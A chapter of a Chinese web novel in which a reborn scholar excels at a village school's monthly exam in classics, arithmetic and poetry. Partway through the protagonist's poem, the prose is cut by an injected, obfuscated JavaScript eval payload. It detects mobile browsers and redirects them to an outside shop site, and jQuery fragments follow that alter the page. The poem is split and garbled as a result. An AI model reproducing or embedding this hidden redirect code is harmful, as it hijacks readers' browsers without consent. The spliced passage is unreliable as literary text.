孙夫子的乡塾虽小，规矩却立得齐全。每月一次小考，谓之“月考”，既是检验学子进益，也是督促之用。首次月考的消息传来，学堂里的气氛顿时有了微妙变化。
张桐开始唉声叹气，对着书本上的字直瞪眼，仿佛它们长了腿会跑。刘水生更加沉默，整日埋首诵读，小脸绷得紧紧的。王石头则开始琢磨各种“肚子疼”、“头疼”的借口，被孙夫子一个眼神瞪了回去。李茂才表面故作轻松，声称“区区月考何足挂齿”，但练字的次数明显增多，偶尔还拿出家中藏的一两篇时文范本偷偷翻阅。
周文渊依旧沉静，只是温书时更加专注，偶尔会与林湛交换一个“你懂得”的眼神，两人都明白，这是一次小小的试金石。
林湛自己倒没太大压力。经义背诵和理解，他有成年人的逻辑和方法打底，加上孙夫子悉心教导、与周文渊探讨，已然入门。算学更是他的绝对强项。唯一稍显薄弱的是诗文——毕竟他前世是理工博士，古诗词积累虽丰，但创作符合这个时代审美和格律的诗文，还需揣摩练习。不过，他也有自己的“法宝”：超越时代的视角和关注点。
月考这日，天朗气清。孙夫子在槐树下摆开几张桌子，权当考场。五名学生各据一桌，纸笔墨砚（或沙盘秃笔）自备。
第一场考经义。孙夫子从《论语》、《千字文》已授篇章中择句，要求默写并释义。林湛下笔从容，字迹在自制灰墨下略显淡薄，但结构端正，释义准确，不仅复述夫子所教，还能稍作引申，关联其他已学内容。周文渊亦发挥稳定，默写无误，释义精当，偶有一两处见解，虽略显青涩，却见思考。李茂才默写流畅，释义却稍显空泛，多拾人牙慧。张桐、刘水生、王石头则各有缺漏，张桐甚至把“性相近”写成了“性香近”，引得孙夫子直摇头。
第二场考算学。孙夫子出了五道题，由简入繁。第一题是简单的鸡兔同笼变形（鸡兔换成了羊和鸭），第二题是田地面积分割，第三题涉及简单的比例分配，第四题是行程问题（农夫赶集），第五题则是一道涉及余数的较难题。
李茂才看到题目，心中稍定，他家境好，父亲特意请人教过些算学，自觉比林湛那次“瞎蒙”强。他打起算盘，噼啪作响，前两题顺利解出，第三题开始皱眉，第四题算了半天得出个奇怪答案，第五题直接放弃。
张桐对着题目直挠头，最后只在沙盘上画了一堆圈圈叉叉。刘水生努力演算，解出前两题，后三题勉强写了些步骤。王石头干脆在纸上画了只大王八（他唯一画得好的东西）。
周文渊安静计算，前四题逐步解出，虽慢却稳，第五题沉思良久，尝试了两种方法，最终给出一个接近但不完全准确的答案。
所有人的目光，都不由自主地瞥向林湛。只见他既没用算盘，也没在纸上长篇演算，只是看着题目略作思索，便提笔（秃笔）在木板（当草稿纸）上写下简单的算式和结果，一道接一道，行云流水。尤其是第五题，他先列出同余式，然后用自己“发明”的简化符号进行推导，片刻间便得出准确答案，并注明了可能的其他解。整个过程，安静、迅速、精准得令人咋舌。
孙夫子踱步到他身后，看着木板上那些奇特的符号和清晰的步骤，眼中异彩连连，捻须的手都忘了动作。
最后一场考诗文。题目是孙夫子临时所出：“以‘勤学’为题，五言四句，不拘泥格律，但求意达。”
这下连周文渊都微微蹙眉。作诗对于蒙童太难，何况还有“意达”的要求。李茂才搜肠刮肚，想起父亲曾请人作过一首勉学诗，便试着改头换面，凑出四句：“少年当勤学，文章可立身。一朝金榜题，光耀我宗门。” 辞藻华丽，立意寻常。
张桐憋了半天，写道：“读书要用心，不能当耳旁风。夫子天天讲，记住就能行。” 倒是直白，可惜毫无诗味。
刘水生写道：“灯下书卷长，窗前月影凉。但得一字悟，不负慈母肠。” 情真意切，略显悲苦，但已有诗境雏形。
王石头抓耳挠腮，最后写道：“上学要起早，背书像吃草。考好有糖吃，考坏挨板子。” 被孙夫子看到，差点气笑。
周文渊沉思许久，提笔缓缓写下：“汲泉润枯砚，凿壁借萤光。未敢言寸进，唯恐负星霜。” 用典贴切（凿壁偷光、萤囊映雪），意境清苦而志坚，虽稍显老成，但在蒙童中已属上乘。
轮到林湛。他并未急于下笔，而是想起晨起时母亲在灶间忙碌的背影，父亲扛着锄头走向田间的脚步，以及自己沙盘练字、灰墨书写的日日夜夜。他摒弃了那些遥远的比喻和典故，将目光投向最真实的生活。
他提起秃笔，在木板上缓缓写下：
“晨星犹在檐，展卷对炊烟。
沙盘作田垄，字字种心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179271|196937||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
间。
岂慕朱门宴，唯求一字安。
他日若得雨，亦润陇亩边。”
没有华丽辞藻，没有深奥典故，甚至平仄对仗也不甚工整。但字里行间，是一个农家学子最质朴的勤学画面：伴着晨星炊烟读书，视沙盘为田垄，将识字当作播种。不羡慕富贵，只求学问上的一点安稳进益。最后两句，更隐隐透出学成之后不忘根本、回馈乡土的胸怀。
孙夫子拿起林湛的诗板，反复看了数遍，脸上的神情从审视变为惊讶，又从惊讶变为深深的感慨。他看看林湛身上洗得发白的衣衫，又看看木板上那灰淡却有力的字迹，良久，长叹一声：“好一个‘沙盘作田垄，字字种心间’！好一个‘亦润陇亩边’！林湛，此诗虽朴，然情真意切，立意高远，非闭门造车、无病呻吟者可比！更难得是这份不忘根本的心志！”
他又拿起周文渊的诗，赞道：“文渊用典精到，志气清坚，亦属难得。” 再看李茂才的，只淡淡道：“辞藻可观，然少己见。” 至于其他三人的，则略过不提。
月考结果毫无悬念。林湛经义全对，释义上佳；算学全精，解法超群；诗文立意新奇，获夫子最高评价，综合第一。周文渊紧随其后，经义扎实，算学良好，诗文亦佳，位列第二。李茂才屈居第三，经义尚可，算学中等，诗文平平。张桐、刘水生、王石头则依次排后。
孙夫子当众宣布结果，并特意点评了林湛和周文渊的优异之处，勉励众人见贤思齐。李茂才脸色阵红阵白，看着被夫子单独留下、似乎在低声勉励的林周二人，心中最后那点不服气，终于化作了难以言喻的复杂情绪。他终于意识到，有些差距，并非家世和年龄可以弥补。
放学时，周文渊走到林湛身边，低声道：“林师弟，你那句‘亦润陇亩边’，甚好。” 眼中是全然的欣赏。
林湛笑道：“周师兄的‘唯恐负星霜’，才见功力。”
两人相视一笑，一切尽在不言中。
夕阳将两人的影子拉长，映在乡塾斑驳的土墙上。远处传来归鸟的啼鸣，和村里妇人呼唤孩子回家吃饭的声音。第一次月考的硝烟散尽，但沙盘上耕耘出的那份小小“锦绣”，却已深深印刻在每个学子心中，也为这小小的乡塾，奠定了最初的学风与格局。未来，还会有更多的考验，但对于已经迈出坚实第一步的林湛而言，前路虽长，步履愈坚。